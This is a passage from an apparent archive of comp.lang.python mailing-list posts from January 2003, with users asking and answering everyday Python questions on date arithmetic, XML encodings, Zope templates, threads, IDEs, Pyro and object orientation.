and unreasonable violation of those standards.

Rather than an effort to condemn someone who objects to it.

As Perfect Evil.

Agog.

Art







From judoscript at hotmail.com  Mon Jan 13 01:24:50 2003
From: judoscript at hotmail.com (James Huang)
Date: 12 Jan 2003 22:24:50 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net> <52719db8.0301082047.287e00b8@posting.google.com> <avj5lr$4jf$1@slb3.atl.mindspring.net> <52719db8.0301092300.2fb666be@posting.google.com> <avndpg$g2sde$1@ID-71831.news.dfncis.de>
Message-ID: <52719db8.0301122224.1e8557d8@posting.google.com>

"James Kew" <james.kew at btinternet.com> wrote in message news:<avndpg$g2sde$1 at ID-71831.news.dfncis.de>...
> James Huang wrote:
> > JudoScript is intended to be
> > "scripting and shell for Java", and the assumption is Java will have
> > software for most, if not *all*, of our needs.
> 
> It's probably this assumption which is causing you to have a rough ride
> here.

I guess that's a part of it.

JudoScript is all about *using* Java; it is not about programming or
even "scripting" as programmers normally think. So it is
understandable that programmers may have missed this different
paradigm initially but hopefully some eventually get it.

> 
> It's reasonable to assume that many posters here consider that Python meets
> their needs better than Java. In particular, Python scratches both
> "scripting" and "programming" itches with a single, consistent, clear, and
> pleasing syntax.
> 
> You now want to herd these contented developers into *two* languages to
> solve their problems: Java plus JudoScript. The first may well be a language
> they've already considered and rejected; the second is unknown and new. I'm
> not surprised you're experiencing some resistance.

I don't blame you guys thinking I was trying to convert. No that's
never my intension.

The misconception I had was that at least a portion of people in this
community are "amphibious" -- Python and Java; if not, then Jython
would be a strange phenomenon. Apparently this is a miserable
assumption, because Java seems to be beyond just being rejected here.

> 
> To be brutally honest, too, were I considering a shift from Python, I'd be
> wary of committing heavily to a language which at the moment seems to be a
> one-man-band effort.

Everything has its due time. Nevertheless, I appreciate your complete
honesty.

Thank you and nice talking to you,
-James



From hjwidmaier at web.de  Thu Jan 23 02:52:01 2003
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: 22 Jan 2003 23:52:01 -0800
Subject: The "beaty" of date arithmetic
Message-ID: <6e990e29.0301222352.2ebb5c1e@posting.google.com>

Hello, my knowledgeable and helpful pythonistas! (A little flattery
can't hurt :))

I have a small program sitting in my FvwmButtons that allows me to
connect and disconnect to the Internet. It shows me the accumulated
time and volume as well as  a xload-like graph for the transfer speed.
But this is just to give some context, so you can deduce what I'm
after even if my explanation in this not-my-mother-language ain't good
enough.

Here goes: The accounting is done by months starting at a given day.
Now I want to write a summary line in my log file (for the previous
month) whenever a new accounting month starts. So I wrote a function
that returns me the first and last day of a month interval which
contains a certain time ("previous" thus means "month with any online
time at all"). This would be easy if there wasn't the possibility for
"first day" being 1 -- the day before that isn't just "n-1".

Now here's (finally) my solution:
--------------------------------------------------------
def getDateInterval(ttime, fday):
    """Return a month-interval starting at day |fday| and including
|ttime|."""
    start = list(time.localtime(ttime))
    # Calculate first day
    if start[2] < fday:
	# Must be last month
	start[1] -= 1
	if start[1] < 1:
	    start[1]  = 12
	    start[0] -= 1
    # The last day is the day before next month's first day
    start[8] = -1		# set DST to unknown
    start[2] = fday
    end = start[:]
    end[1] += 1
    if end[1] > 12:
	end[1]  = 1
	end[0] += 1
    end = time.localtime(time.mktime(end) - 86400)

    return start[:3], end[:3]
--------------------------------------------------------

All I'm asking for is: Is there a way to do it that's not as butt-ugly
as this?
Somehow it looks pathetic to me ...

Thanks for any thoughts,
Hans-Joachim



From sketerpot at chase3000.com  Thu Jan 16 14:44:57 2003
From: sketerpot at chase3000.com (Peter Scott)
Date: 16 Jan 2003 11:44:57 -0800
Subject: Ignoring incorrect XML encoding declarations
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de> <b05ev9$2so$1@slb3.atl.mindspring.net>
Message-ID: <659f82ff.0301161144.2f6ae2fc@posting.google.com>

Andrew Dalke wrote:
> import codecs
>    ...
>       infile = codecs.EncodedFile(infile, "utf-8", "iso-8859-1")

Thanks, that looks like it'll solve my problem nicely. Right now I'm
using the expat technique that Martin v. L?wis suggested, which solves
the problem nicely and probably is quite fast, but it assumes that the
user has expat. I think I'll end up using your solution with SAX for
compatibility with other parsers.

-Peter



From nntp0103 at thijscobben.nl  Wed Jan 22 06:58:11 2003
From: nntp0103 at thijscobben.nl (Thijs Cobben)
Date: Wed, 22 Jan 2003 11:58:11 GMT
Subject: [zope / DocumentTemplate] odd bug
Message-ID: <nHvX9.538252$4B2.74786557@amsnews03.chello.com>

Dear All,

Have looked on the web for answers, have found none.

Problem description: In a dtml document template file, <dtml-var varname> is
substituted by an empty string. If, however, I replace by <dtml-var varname
missing=''> the correct value for varname (so not the '' empty string) is
substituted.

Odd. Anyone encounter this before?
versions: python2.2.2 [GCC 2.96.200000731]
RedHat Linux 7.3
Zope-2.6.0-linux2-x86 from source

warnings:[root at ns www.phaedro.com]# python
Python 2.2.2 (#1, Dec 28 2002, 13:14:20)
[GCC 2.96 20000731 (Red Hat Linux 7.3 2.96-113)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import DocumentTemplate
/usr/local/Zope-2.6.0-linux2-x86/lib/python/DocumentTemplate/__init__.py:21:
RuntimeWarning: Python C API version mismatch for module ExtensionClass:
This Python has API version 1011, module ExtensionClass has version 1010.
  import ExtensionClass # work-around for import bug.
/usr/local/Zope-2.6.0-linux2-x86/lib/python/ZPublisher/HTTPResponse.py:19:
RuntimeWarning: Python C API version mismatch for module zlib: This Python
has API version 1011, module zlib has version 1010.
  import zlib, struct
/usr/local/Zope-2.6.0-linux2-x86/lib/python/xmlrpclib.py:325:
RuntimeWarning: Python C API version mismatch for module sgmlop: This Python
has API version 1011, module sgmlop has version 1007.
  import sgmlop
/usr/local/Zope-2.6.0-linux2-x86/lib/python/DocumentTemplate/DT_Var.py:163:
RuntimeWarning: Python C API version mismatch for module Acquisition: This
Python has API version 1011, module Acquisition has version 1010.
  from Acquisition import aq_base
>>>

Any info is welcome, the missing='' addition feels like an ugly workaround
fix.

--
Thijs Cobben
www.thijscobben.nl








From martin at v.loewis.de  Wed Jan  8 09:13:48 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Jan 2003 15:13:48 +0100
Subject: no side effects
In-Reply-To: <mailman.1042033754.17715.python-list@python.org>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org>
Message-ID: <avhbmr$7ib$06$1@news.t-online.com>

holger krekel wrote:
>     for i in [1,2,3]:
>         print i
>         i=3
> 
> the for-loop will iteratively bind the (local) name to  
> 1, then 2, then 3.  It never looks at the binding of
> the name 'i'.  With 'i=3' you only change the binding
> of 'i' to the object '3' but the for-loop will blindly
> change the binding again. 

This has nothing to do with namespaces: i is not local to the for loop, 
but might be global, or local to the function.

More relevant is that each for loop introduces a hidden variable. This 
hidden variable used to be an index into the sequence iterated over, and 
now is an iterator object which draws the next element from the sequence.

> To see the difference, in C, for example,  a name points 
> to a memory location and 'i=3;' will do something to 
> the memory location. 

The equivalent loop in C(++) would be

for(iterator_type iterator=sequence.begin();
     iterator != sequence.end(); iterator++){
   i = *iterator;
   print i;
   i = 3;
}

There is no way to access the hidden variable in Python.

Regards,
Martin




From mlh at furu.idi.ntnu.no  Thu Jan 23 08:55:05 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 23 Jan 2003 13:55:05 +0000 (UTC)
Subject: Extending help-string in optparse?
Message-ID: <slrnb2vt1p.egd.mlh@furu.idi.ntnu.no>

If I want to use cvs-like commands in addition to options with
optparse, I can (as I was tipped about) use two (or more)
OptionParsers to parse parts of the command line. However, it seems
that making the --help string helpful wrt. my commands (or other
arguments other than options, for that matter) isn't all that easy...
Or am I missing some feature here?

-- 
Magnus Lie Hetland
http://hetland.org



From jbperez808 at yahoo.com  Thu Jan 16 18:52:58 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 16 Jan 2003 15:52:58 -0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
Message-ID: <f57664b9.0301161552.5dff2038@posting.google.com>

class A:
  def __init__(self):
    self.long_descriptive_name=0
    self.long_descriptive_name2=10

  def x(self):
    D_=self.__dict__
    alias1='long_descriptive_name'
    alias2='long_descriptive_name2'
    D_[alias]=D_[alias2]*D_[alias1]
    # instead of self.long_descriptive_name =
    #  self.long_descriptive_name*self.long_descriptive_name2

Question: 
  Will the dictionary lookup 'D_[alias]' impose a
  performance penalty versus 'self.long_descriptive_name' or
  will the compiler do the same thing internally anyway in
  both cases?



From danielk at jbase.com  Thu Jan 23 14:45:49 2003
From: danielk at jbase.com (Daniel Klein)
Date: Thu, 23 Jan 2003 11:45:49 -0800
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no> <uy95d4cvq.fsf@eyeone.com>
Message-ID: <03h03vg388a99a4rdmoffaph4h1e8t25el@4ax.com>

On 22 Jan 2003 12:55:53 +0100, Rune Braathen
<runeb@[remove].eyeone.com> wrote:

>"Thomas Weholt" <2002 at weholt.org> writes:
>
>[ ... ]
>
>> Opinions on what, where and why to pay for a Python-friendly IDE would be
>> appreciated.
>
>While trying not to sound like a preaching fanboy; I heartily
>recommend looking into Slickedit. It has excellent support for Python,
>as well as most other languages.
>

There is one big problem with Visual Slickedit (at least with version
6a, I have not upgraded to version 7), it does not see 'class'
statements as 'function headings'. When you collapse a module using
'View > Function headings', if that module contains more than 1 class
(as many modules do), then there is no way to tell which class that
__init__ method belongs to.

I have reported this to MicroEdge and all they said was 'it would be
taken into consideration for a future release'. Does anyone know if
this is fixed in the current version?

Daniel Klein



From jack at performancedrivers.com  Sun Jan 19 18:37:35 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Sun, 19 Jan 2003 18:37:35 -0500
Subject: Is it pythonic to have my own util library?
In-Reply-To: <3E2B2B03.9C01FABE@pajhome.org.uk>; from paj@pajhome.org.uk on Sun, Jan 19, 2003 at 10:47:31PM +0000
References: <3E2B2B03.9C01FABE@pajhome.org.uk>
Message-ID: <20030119183735.H13035@localhost.localdomain>

On Sun, Jan 19, 2003 at 10:47:31PM +0000, Paul Johnston wrote:
> Hi,
> 
> One thing I've noticed about my programming style is that whatever
> language I use, I usually end up having a "paj's utility library" that
> makes some common tasks one-liners.
> 
> Python's neat concise style takes away the need for a lot of them - for
> example open(filename).read() is just perfect. But still I've got quite
> a few functions - mostly for database access and template files. I've
> attached the one I'm using for at the moment and would be interested in
> comments.
> 
> Is this a good idea?
> Is there some high-level database API I haven't found?
> Are there better packages for doing templates?
> 
> I'd be interested in comments on the readability of
> http://pajhome.org.uk/site/guest_src.html

[I wouldn't have included it as an attachment...]

Any language I've ever used seriously ends up with a snipptet
library that perform tasks common to one application.  The nice
thing about python is that it is young enough that when enough
people have a common snippet in those disperse libraries it ends up 
in the common distro.

In short, don't sweat it.  The best thing you can do is document it
for posterity and your own sanity and keep knocking out code.  oh,
and name it sanely.  Once it grows over a couple dozen functions break
it out into sub-libs libString, libList, libDescriptive.  I once worked
at an unnamed company that had libs named molimutil1.c molimlib2.c ..
with a high N each one with 5k lines of code.  Even grep can't help
you then.

-jackdied

ps, the lib names were un-anonymized to indite the guilty/make an inside joke.




From stojek at part-gmbh.de  Wed Jan 29 16:46:27 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Wed, 29 Jan 2003 21:46:27 +0000
Subject: pyro and py2exe
Message-ID: <ohig3v02qc34bn9j74jtud3f85727es808@4ax.com>

Hi,

I have found pyro and I think its exactly what I need.
After a short scan of the docs I found that some scripts
have to be run (e.g. to start the nameserver)

for example:
python -O -c "import Pyro.nsc; Pyro.nsc.main()" %*

Does that mean that I can't use py2exe with pyro because
the "user" needs a full python installation to start the
script?

If that is so, is there any other package for a stupid man
like me? What I have in mind is a simple login server where
clients are counted and strings can be exchanged.

Thanks
marcus




From uwe.schmitt at procoders.net  Fri Jan 24 09:12:55 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 14:12:55 GMT
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org>
Message-ID: <b0rhl7$112v7d$2@hades.rz.uni-sb.de>

Laura Creighton <lac at strakt.com> wrote:
>> 
>> Hi,
>> 
>> AFAIK there is no method in the threading module to kill a thread.
>> Each thread has to terminate itself by watching status variables.
>> But: what happens if I start a thread, and when I want to kill
>> this thread, I delete all references to the according Thread object,
>> and call the garbage collector. 
>> Will this work ??

> No.  You cannot stand outside your application and kill a thread.
> Instead you have to arrange for your thread to receive the message
> to go commit suicide (and then your thread has to know how to do
> that).  If your threads are already communicating by Queues, sticking
> a 'do_die' in there is often cleanest.  

> <snip> 

But what if I want to end a thread which hangs because
it uses 'exec' on some code which loops forever ?

I discovered the _Thread__stop() method of threading.Thread object.
It works. But that seems to be some dirty hack...

Greetings, Uwe


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From gmuller at worldonline.nl  Fri Jan 31 15:30:42 2003
From: gmuller at worldonline.nl (GerritM)
Date: Fri, 31 Jan 2003 21:30:42 +0100
Subject: idlefork 0.9a2 and Windows 98
References: <b1elli$502$1@reader1.tiscali.nl>
Message-ID: <b1emhu$5l6$1@reader1.tiscali.nl>

Another strange effect is that Zonealarm warns everytime that Pthon wants to
access internet (I don't give Python default acces rights). In the past I
have seen the same problem with Twander, where getfqdn() was causing it.
Functions on Windows which try to get IP address or hostname information
apparantly do this by accessing the network.

regards Gerrit

--
www.extra.research.philips.com/natlab/sysarch/
"GerritM" <gmuller at worldonline.nl> schreef in bericht
news:b1elli$502$1 at reader1.tiscali.nl...
> Idlefork sounds like a set of very nice improvements, especially the F5
> which does a clean start is a big win for new Python users. I did not yet
> really use it because I ran into a few problems when starting idlefork.
>
> I just entered a bug in the idlefork sourceforge bug repository about the
> interaction of idlefork with Windows98. W98 does all kinds of strange
things
> if filenames or foldernames are created which start with a dot. In this
case
> .idlerc as name is the culprit.
>
> I did not (yet) create a change request for the startup script, which does
> not work on windows (Windows does not know about first lines with a #). So
> starting idlescript is now somewhat cumbersome on windows machines.
>
> regards Gerrit
>
> --
> www.extra.research.philips.com/natlab/sysarch/
>
>





From urba0083 at tc.umn.edu  Wed Jan 15 12:42:52 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Wed, 15 Jan 2003 11:42:52 -0600
Subject: Learning Python - The Book
References: <3cf72d52.0301141439.53f1f521@posting.google.com>
Message-ID: <3E259D9C.4000005@tc.umn.edu>

Its ok to use it as the basic language and such is still applicable. But 
watch out for outdated stuff. For example, that book will reference the 
string module, which is depricated and you probably shouldn't use it in 
your projects.

A book I might suggest you read instead of, or in addition to Learning 
Python is Python 2.1 Bible. It's a lot more up to date and personally, I 
think has more in depth coverage that helps you understand why you are 
doing what you are doing.

scn wrote:
> Hello.  I am new to programming and Python in particular.  My interest
> is to learn how to program to begin automating tasks at work that are
> still done using pencil and paper.  I understand that Python offers
> many advantages over other languages for many various reasons.
> 
> I have taken a look at the book Learning Python and noticed that it
> was written in 1999.  Python is currently up to version 2.3  Is this
> book still applicable in most aspects of the language, or would it be
> wiser for me to save my money and wait for a 2nd edition to come out
> with more up-to-date information? Thank you.





From dave at pythonapocrypha.com  Wed Jan 29 11:33:24 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 29 Jan 2003 08:33:24 -0800 (PST)
Subject: Something lost in translation? (was: Python vs. C++ Builder -
 speed of development)
In-Reply-To: <v3fq20208aj732@corp.supernews.com>
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org>
 <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net>
 <mailman.1043799538.401.python-list@python.org> <v3fq20208aj732@corp.supernews.com>
Message-ID: <Pine.LNX.4.51.0301290831200.8512@ns0.tbye.com>

On Wed, 29 Jan 2003, Cameron Laird wrote:

> In article <mailman.1043799538.401.python-list at python.org>,
> Laura Creighton  <lac at strakt.com> wrote:
> 			.
> 			.
> 			.
> >Typing 400 words a minute helps as well.  I cannot do that yet, but
> >one person here at Strakt can.  Utterly awesome.  I thought that
> >200 words was good....
> 			.
> 			.
> 			.
> I thought that Gregory Arakelian is recognized as the world record
> holder at 158 wpm <URL: http://www.cciw.com/content/typing.html >.
> While I suspect there are a handful of people who, in fact, surpass
> his mark, I'm equally confident that no human has achieved 400 wpm.

Obviously it's 400 *metric* words per minute. ;-)

-Dave




From phil at river-bank.demon.co.uk  Tue Jan 28 13:07:23 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Tue, 28 Jan 2003 18:07:23 +0000
Subject: Graphing packages
In-Reply-To: <v3dg37837edd0@corp.supernews.com>
References: <v3dg37837edd0@corp.supernews.com>
Message-ID: <200301281807.23810.phil@river-bank.demon.co.uk>

On Tuesday 28 January 2003 5:39 pm, Cameron Laird wrote:
> I post this on behalf of Dave Feustel <dfeustel at mindspring.com>:
> > I suddenly have a need to plot graphs of algebraic functions.
> > Is there a such a python graphics package that runs on Openbsd?
> > (I've looked but haven't found anything yet)
>
> I have several comments.  Dave's usual NNTP access is broken, so
> he feels blocked from clp participation.  This makes me think
> he's not aware of the alternatives that appear in, for example,
> <URL: http://www.python.org/cgi-bin/moinmoin/CompLangPython >.
> Folks, if you've got e-mail at all, you can join in clp.
>
> I'll leave the substantive question to others.  I know there is
> an abundance of ways (Graphite, biggles, GD, Gnumeric, BLT,
> scipy.pl, ..) to do function-graphing with Python, essentially
> all of which are readily available under OpenBSD (a fine platform,
> by the way; I'd be happy if more people used it).  Dave, my first
> question would be about whether you have a preference between
> Tkinter, wxPython, PyQt, Web applications, ...

http://gerard.vermeulen.free.fr/ has lots of nice screenshots.

Phil




From mis6 at pitt.edu  Mon Jan  6 16:19:47 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 6 Jan 2003 13:19:47 -0800
Subject: new years resolutions
References: <x77kdm98f8.fsf@guru.mired.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org> <2259b0e2.0301051011.5ba2ff3e@posting.google.com> <mailman.1041794830.7571.python-list@python.org> <446j1v0vrlb19rnh9trkllodvjmohbld16@4ax.com>
Message-ID: <2259b0e2.0301061319.2fcdb9d0@posting.google.com>

Gon alo Rodrigues <op73418 at mail.telepac.pt> wrote in message news:<446j1v0vrlb19rnh9trkllodvjmohbld16 at 4ax.com>...
> I have always had my ideal notion of University somewaht akin to those
> monasteries in the desert, where no women were allowed and the monks
                                   ^^^^^^^^^^^^^^^^^^^^^

A part for this, I would agree with you ;-)

> practised deep ascesis, wearing only rough clothes and no underwear.
> Monasteries that were the storehouses of knowledge; Centers of
> excelence, and even elitist but where anyone who was humble enough could
> enter, and in silence and quietness seek enlightenment.
> 
> But it is already too late to mourn. For reasons both good and bad such
> an ideal is unattainable.
> 
> With my best regards,
> G. Rodrigues

Bye,

               Michele



From alan_salmoni at yahoo.com  Tue Jan 21 16:06:28 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 21 Jan 2003 13:06:28 -0800
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>	<9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>	<hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>	<b68f71a7.0301210312.2df2229f@posting.google.com> <mailman.1043153918.28499.python-list@python.org>
Message-ID: <b68f71a7.0301211306.38238ae7@posting.google.com>

Mikael Olofsson <mikael at isy.liu.se> wrote in message news:<mailman.1043153918.28499.python-list at python.org>...
> On 21 Jan 2003 03:12:10 -0800
> alan salmoni at yahoo.com (Alan James Salmoni) wrote:
> > a = [0] * 3
> > b = []
> > b.append(a)
> > b.append(a)
> 
> Not so good:
> 
> >>> a = [0] * 3
> >>> b = []
> >>> b.append(a)
> >>> b.append(a)
> >>> b
>  [[0, 0, 0], [0, 0, 0]]
> >>> b[0][0]=1
> >>> b
> [[1, 0, 0], [1, 0, 0]]
> 
> Oops!
> 

Oops indeed! You spotted my deliberate mistake! ;) What I *meant* to
say (lol!) was this:

>>>import copy
>>>a = [0] * 3
>>>b = []
>>>b.append(copy.copy(a))
>>>b.append(copy.copy(a))
>>>b[0][0] = 1
>>> b
[[1, 0, 0], [0, 0, 0]]

Got it at last!!! (sorry, it's been a *long* day!)

Alan.



From nicodemus at globalite.com.br  Sat Jan  4 13:46:14 2003
From: nicodemus at globalite.com.br (Nicodemus)
Date: Sat, 04 Jan 2003 15:46:14 -0300
Subject: Explicit Frustration of the Self
In-Reply-To: <a1d2c9b4.0301040025.58f46c0e@posting.google.com>
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <a1d2c9b4.0301040025.58f46c0e@posting.google.com>
Message-ID: <3E172BF6.6070503@globalite.com.br>

DeadWisdom wrote:

>Another thought: how OO is Python?  It allows me to create Objects, I
>guess.  But do these objects really have methods?  I don't think so. 
>Not with the way self acts now.  Right now, you are effectively,
>creating functions and then calling them with the first argument
>outside of the parenthesis, and to the left of the function, and a
>dot.
>  
>

I find this vision extremely simplistic and limited. Object orientation 
is basically a way to unite the data and the operations that manipulate 
this data. This raw definition can be obtained in any language, even one 
that is *not OO*. The CPython API, for instance, is mostly OO. Don't you 
believe me? Look at this usage of the basic C API:

{
    PyObject* dict = PyDict_New();
    PyDict_SetItemString(dict, "x", PyString_FromString("12") );
    PyObject* value = PyDict_GetItemString(dict, "x");
    if ( value != NULL ) {
        //...
    }
    Py_DECREF(dict);
}   

Note how this would look like translated to a C++ interface (which is 
clearly Object Oriented by your claims):

{
    PyDict* dict = new PyDict();
    dict.SetItemString("x", new PyString("12") );
    PyObject* value = dict.GetItemString("x");
    if ( value != NULL ) {
        //...
    }
    delete dict;
}


If you find that there's a huge difference between the two, I think 
you're wrong. The difference is mostly sintatic in this case. But notice 
that python looks more like the C++ version than the C version:


    d = {}
    d["x"] = "12"
    value = d.get("x")
    if value is not None:
        #...
    del d

>I really don't see much of a difference between foo(o, "Hello ") and
>o.foo("Hello ").  It must be easy from the point of view of the python
>programming, all you bassically do is mangle it to "Object_foo(self,
>blah)", and pre-process all "object.foo(" to "object_foo(".  Seems to
>be.
>

Because there's really little difference. And it is implemented that 
way, at the lowest level (no preprocessing involved). How do you think 
it is implemented in C++? You're basically complaining about how the 
language seems to be implemented, instead of the actual usage. You 
sholdn't really care, since you don't write object_foo(self, blah), but 
self.foo(blah) instead, which is what you want.

>So the only real difference is that Object.foo won't conflict with
>OtherObject.foo.  But that doesn't seem like the basis of OO.
>

And what are the basis of OO? Call methods as self.foo() instead of 
foo(self)? Well, python DOES that, even thought that *is not* the basis 
of OO.

>In the end OOP is all about the revolution, not of efficiency or
>computational effectiveness, but of how we can understand the
>structure of the world that we create, its objects, its functions. 
>

Which python allows perfectly.

>The idea of the explicit self retards this understanding, I believe,
>and forces us to view python objects as code, not objects of a
>pseudo-reality.
>  
>

Well, that's your opinion.








From aleax at aleax.it  Wed Jan 29 16:56:21 2003
From: aleax at aleax.it (Alex Martelli)
Date: Wed, 29 Jan 2003 21:56:21 GMT
Subject: Newbie: anything resembling static?
References: <mailman.1043870531.24472.python-list@python.org>
Message-ID: <96YZ9.102138$0v.2963371@news1.tin.it>

anton wilson wrote:

> Is there any way of imitating "static" C function variables without having
> to define the variable as a global? I just want persistent function
> variables but i want them to be local to the function namespace. :S

There are several ways you can approximate this effect, e.g.:

def one(fakedefault=[]):
    fakedefault.append('x')
    return ''.join(fakedefault)

def two():
    try: two.staticvar.append('x')
    except AttributeError: two.staticvar = ['x']
    return ''.join(two.staticvar)

def three():
    staticvar = []
    def innerthree():
        staticvar.append('x')
        return ''.join(staticvar)
    global three
    three = innerthree
    return innerthree()

def four():
    four.staticvar.append('x')
    return ''.join(four.staticvar)
four.staticvar = []

def five():
    staticvar = []
    def innerfive():
        staticvar.append('x')
        return ''.join(staticvar)
    return innerfive
five = five()


simplest, of course, is to drop the arbitrary "local to the function
namespace" prerequisite in favour of a global with a suitable
name convention:

_six_staticvar = []
def six():
    _six_staticvar.append('x')
    return ''.join(_six_staticvar)


Anyway, all of these functions are to be called without arguments,
and each call returns a string of one more 'x' than the previous
one via different approximations to a "function static var".


Alex




From Mongryong at sympatico.ca  Tue Jan 28 12:48:34 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 28 Jan 2003 12:48:34 -0500
Subject: python weblog apps?
In-Reply-To: <J8SdnelIA738BKujXTWcow@comcast.com>
References: <mailman.1043712589.29180.python-list@python.org> 
	<J8SdnelIA738BKujXTWcow@comcast.com>
Message-ID: <1043776114.6329.44.camel@refugeeMedia>

Could someone explain the purpose of a weblog?  

How is it useful for one's website?

Thanks.





From sholden at holdenweb.com  Mon Jan 13 12:07:47 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Mon, 13 Jan 2003 17:07:47 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net> <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net> <3E228E81.81B0FACD@alcyone.com> <7xn0m5hxxp.fsf@ruckus.brouhaha.com> <20030113170242.7713d52f.mikael@isy.liu.se> <mailman.1042474829.32642.python-list@python.org>
Message-ID: <DnCU9.39278$E83.30559@news2.central.cox.net>

"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1042474829.32642.python-list at python.org...
> > On 13 Jan 2003 07:27:46 -0800
> > Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote:
> > > I don't see pithy as having negative connotations beyond sounding a
> > > little bit like "pissy".  But I'm not that crazy about it anyway.
> >
> > It does look a lot like pity, which gives me negative vibes.
> >
> > /Mikael
>
> To pith a frog is to kill it by destroying its central nervous system
> (usually by passing a needle through it).
>
> 'Pithy' is one of those words, which (unless you are doing anatomy)
> almost exclusively shows up as part of the phrase 'pithy saying'.  It
> started out with the meaning 'precise and to the point'.  These
> days most people who use the expression believe that it means
> 'trite, hackneyed ...  a clich?'.  (And I sure surprised people recently
> when I thanked them for calling something I said 'pithy'.  Alas,
> no compliment was intended ...)
>

Perhapth they had a lithp?

regardth
--
Thteve Holden                                 http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your muthical inthtrument to PyCon!   http://www.python.org/pycon/






From spam at magnetic-ink.dk  Wed Jan 29 08:23:20 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 13:23:20 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043716191.28394.python-list@python.org> <16639e88-1256-4856-b604-95bd59d2d770@news.szn.dk> <7h38yx4175f.fsf@pc150.maths.bris.ac.uk> <a14e9fc5-2de7-4afb-9d07-6a46a8f74013@news.szn.dk> <7h3isw8yvcw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <e60ff296-07f6-4140-b641-2664ec348e08@news.szn.dk>

Michael Hudson wrote:

>> I've never tried decompyle -- how legible is its output?
> 
> I've never tried it either, but I've heard comments along the
> lines of "pretty good", "amazing!", "occasionally better than
> the source that was compiled to make the .pyc" and so on.

Sounds good -- gotta try it one of these days.

> It may be legally dubious, of course.

Of course.


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From max at alcyone.com  Fri Jan 10 19:44:26 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 16:44:26 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <3E1F68EA.F9C2BB5D@alcyone.com>

"Edward K. Ream" wrote:

> This announcement seems to be making a truly remarkable claim, namely
> that
> one could increase the speed of  C code by recoding it in Python and
> then
> applying Psycho to it.
> 
> I am inclined to disbelieve this claim.  Why should Psycho be able to
> do
> better than an optimizing C compiler applied to hand-written
> interpreter
> code and/or library code?

I am inclined to disbelieve it as well.  I'm no expert in Psyco, but I
think its realm of utility may be being taken too far here.  I'm
reminded of the old gag about "It's turtles all the way down."

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The more violent the love, the more violent the anger.
\__/ _Burmese Proverbs_ (tr. Hla Pe)
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From peter at engcorp.com  Wed Jan 15 12:32:16 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 15 Jan 2003 12:32:16 -0500
Subject: Newbie How do I get Calendar input from the PythonCard component 
 Calendar?
References: <8d5b2v04bdpfii53kd9dhealllvvvm399k@4ax.com>
Message-ID: <3E259B20.D0B4DA75@engcorp.com>

Bubba wrote:
> 
> Tried many wasy all result in errorrs

Hmmm.... if you can post a few examples of your attempts, pasted
from the interactive interpreter, helping you out will be a lot
easier.

-Peter



From cnetzer at mail.arc.nasa.gov  Thu Jan  9 15:30:21 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 9 Jan 2003 12:30:21 -0800
Subject: best college for computer science major
